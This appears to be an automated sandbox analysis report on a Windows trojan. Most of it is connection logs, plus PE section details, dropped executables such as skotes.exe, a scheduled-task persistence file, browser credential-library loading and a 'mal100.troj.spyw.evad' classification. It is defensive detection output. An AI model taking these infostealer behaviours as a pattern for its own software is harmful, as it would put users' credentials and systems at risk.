Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015

Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.80:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49999 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C96B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C96B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C90F280

Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9035A0	0_2_6C9035A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C916C80	0_2_6C916C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9634A0	0_2_6C9634A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C4A0	0_2_6C96C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92D4D0	0_2_6C92D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9164C0	0_2_6C9164C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946CF0	0_2_6C946CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90D4E0	0_2_6C90D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945C10	0_2_6C945C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C952C10	0_2_6C952C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97AC00	0_2_6C97AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97542B	0_2_6C97542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97545C	0_2_6C97545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C915440	0_2_6C915440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C940DD0	0_2_6C940DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9685F0	0_2_6C9685F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C930512	0_2_6C930512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92ED10	0_2_6C92ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91FD00	0_2_6C91FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C925E90	0_2_6C925E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96E680	0_2_6C96E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964EA0	0_2_6C964EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90BEF0	0_2_6C90BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91FEF0	0_2_6C91FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9776E3	0_2_6C9776E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C947E10	0_2_6C947E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955600	0_2_6C955600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969E30	0_2_6C969E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C929E50	0_2_6C929E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C943E50	0_2_6C943E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C924640	0_2_6C924640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C952E4E	0_2_6C952E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90C670	0_2_6C90C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976E63	0_2_6C976E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9577A0	0_2_6C9577A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C936FF0	0_2_6C936FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90DFE0	0_2_6C90DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C947710	0_2_6C947710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C919F00	0_2_6C919F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9360A0	0_2_6C9360A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9750C7	0_2_6C9750C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92C0E0	0_2_6C92C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9458E0	0_2_6C9458E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C917810	0_2_6C917810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94B820	0_2_6C94B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C954820	0_2_6C954820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C928850	0_2_6C928850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92D850	0_2_6C92D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94F070	0_2_6C94F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945190	0_2_6C945190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C962990	0_2_6C962990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93D9B0	0_2_6C93D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90C9A0	0_2_6C90C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92A940	0_2_6C92A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95B970	0_2_6C95B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B170	0_2_6C97B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91D960	0_2_6C91D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97BA90	0_2_6C97BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91CAB0	0_2_6C91CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C972AB0	0_2_6C972AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9022A0	0_2_6C9022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C934AA0	0_2_6C934AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C948AC0	0_2_6C948AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C921AF0	0_2_6C921AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94E2F0	0_2_6C94E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C949A60	0_2_6C949A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90F380	0_2_6C90F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9753C8	0_2_6C9753C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D320	0_2_6C94D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C905340	0_2_6C905340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91C370	0_2_6C91C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_009FE530	34_2_009FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A378BB	34_2_00A378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A38860	34_2_00A38860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A37049	34_2_00A37049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A331A8	34_2_00A331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_009F4DE0	34_2_009F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A32D10	34_2_00A32D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A3779B	34_2_00A3779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A27F36	34_2_00A27F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_009F4B30	34_2_009F4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9494D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C93CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2748593827.000000006CB85000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2736884745.0000000023F30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: sjsqvlga ZLIB complexity 0.9948857038507641
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998073484332425
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: Section: fgmhzlms ZLIB complexity 0.9945195349109653
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998073484332425
Source: random[1].exe.0.dr	Static PE information: Section: fgmhzlms ZLIB complexity 0.9945195349109653
Source: skotes.exe.27.dr	Static PE information: Section: ZLIB complexity 0.998073484332425
Source: skotes.exe.27.dr	Static PE information: Section: fgmhzlms ZLIB complexity 0.9945195349109653

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/292@24/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C967030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C967030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ACWUTNQ2.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4920:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\6d96f1ea-07b7-456d-97e4-586321f9173c.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
